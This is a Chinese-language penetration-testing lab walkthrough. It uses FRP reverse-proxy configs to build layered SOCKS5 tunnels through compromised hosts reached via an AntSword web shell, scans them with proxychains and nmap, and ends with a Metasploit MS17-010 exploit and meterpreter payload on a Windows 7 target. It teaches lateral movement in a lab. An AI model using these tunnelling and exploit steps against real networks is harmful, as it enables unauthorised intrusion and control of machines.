FRP(Fast Reverse Proxy)是一种轻量级、高性能的反向代理工具,可用于内网穿透、安全访问和数据传输等场景。FRP由fatedier团队开发,采用Golang语言编写,支持跨平台部署和使用。FRP的原理是利用反向代理技术将公网请求转发至内网服务器上,并将内网服务器的响应再次转发至公网请求者。在实现内网穿透时,FRP能够将公网与内网之间的隔离突破,使得公网用户可以直接访问内网服务器上的资源,从而实现远程访问和管理。-- > 使用FRP实现内网穿透 - 知乎
操作环境准备:
一台vps(或者使用Kali模拟)
三台靶机模拟内网环境
第一台靶机:
操作系统:CentOS7_64 IP:192.168.1.4
信息收集
分析利用
主机信息收集
请参考这篇文章:
FRP建立Socks代理
1.上传FRP至kali
2. VPS启动FRPS(服务端)
cat frps.ini
[common]
server_port = 7000
./frps -c frps.ini #启动FRPS
netstat -anlp | grep 1080 #查看frps代理端口
3.目标靶机一启动FRPC(客户端)
蚁剑上传FRPC,并启动
frpc授予可执行权限
chmod +x frpc
新建文件写入以下内容:daili.ini
[common]
server_addr = 攻击机ip
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 1080
./frpc -c daili.ini #启动frpc
4.vim /etc/proxychins4.conf #修改代理文件
添加保存 socks5 127.0.0.1 1080
5.proxychins curl 192.168.22.129 #访问内网主机
第二台靶机:
靶机信息
靶机系统:Ubunti16.04_64 IP:192.168.22.129
1.主机信息扫描:
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.129
获得目标主机二的shell:请参考Socks代理_- Time的博客-CSDN博客
2.蚁剑连接shell
由于无法访问内网,蚁剑添加代理
成功连接
3.探测主机信息
发现33网段主机
FRP建立第二层代理
由于攻击机无法访问第三台主机,所以需要建立第二层代理
1.首先,kali先退出刚才启动的frps服务端
2.重新启动服务端:./frps -c frps.ini
3.第一台靶机启动frpc
蚁剑上传frpc文件 至靶机一
新建frpc1.ini文件
内容如下:
server_addr #攻击机IP
[common]
server_addr = 192.168.1.134
server_port = 7000
[socks5-1]
type = tcp
remote_port = 1080
plugin = socks5
[socks5-33]
type = tcp
local_ip = 127.0.0.1
local_port = 10080
remote_port = 10088
./frpc -c frpc1.ini #启动frpc客户端
靶机一启动frps服务端
1.蚁剑上传文件frps
2.新建frps1.ini文件
内容如下:
[common]
bind_port = 7000
靶机二启动frpc客户端
./frpc -c frpc2.ini
1.蚁剑上传frpc文件
2.新建frpc2.ini文件
内容如下:
server_addr 为靶机二的IP
[common]
server_addr = 192.168.22.129
server_port = 7000
[socks5-2]
type = tcp
plugin = socks5
remote_port = 10080 #这个 端口号是 > 靶机一:frpc.ini文件中 local_port的端口:10080
第三台靶机:
靶机信息
靶机系统:Windows7_64 IP:192.168.33.33
信息收集:
proxychains nmap -sT -Pn -p- -n -T4 192.168.33.128
返回结果错误
排查一下
1.VPS:frps服务端掉线
重启:./frps -c frps.ini
2.靶机一重启frpc客户端,重启frps服务端
netstat -anlp | grep 7000 #查看frps端口
ps -elf | grep frpc #查看进程
3.靶机二重启frpc客户端
再次扫描还是报错
Kali再次打开代理配置文件
vim /etc/proxychains4.conf
#将第一次写入的代理注释掉
重新写入:socks5 127.0.0.1 10088 #10088端口是:靶机一:frpc1.ini文件中的 remote_port = 10088
再次扫描成功
proxychains nmap -sT -Pn -p- -n -T4 192.168.33.128
其中开放端口有445
可以利用ms17-010漏洞攻击
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set proxies socks5:192.168.1.134:10088
set rhosts 192.168.33.128exploit
#获得sessions会话
至此获取全部shell
...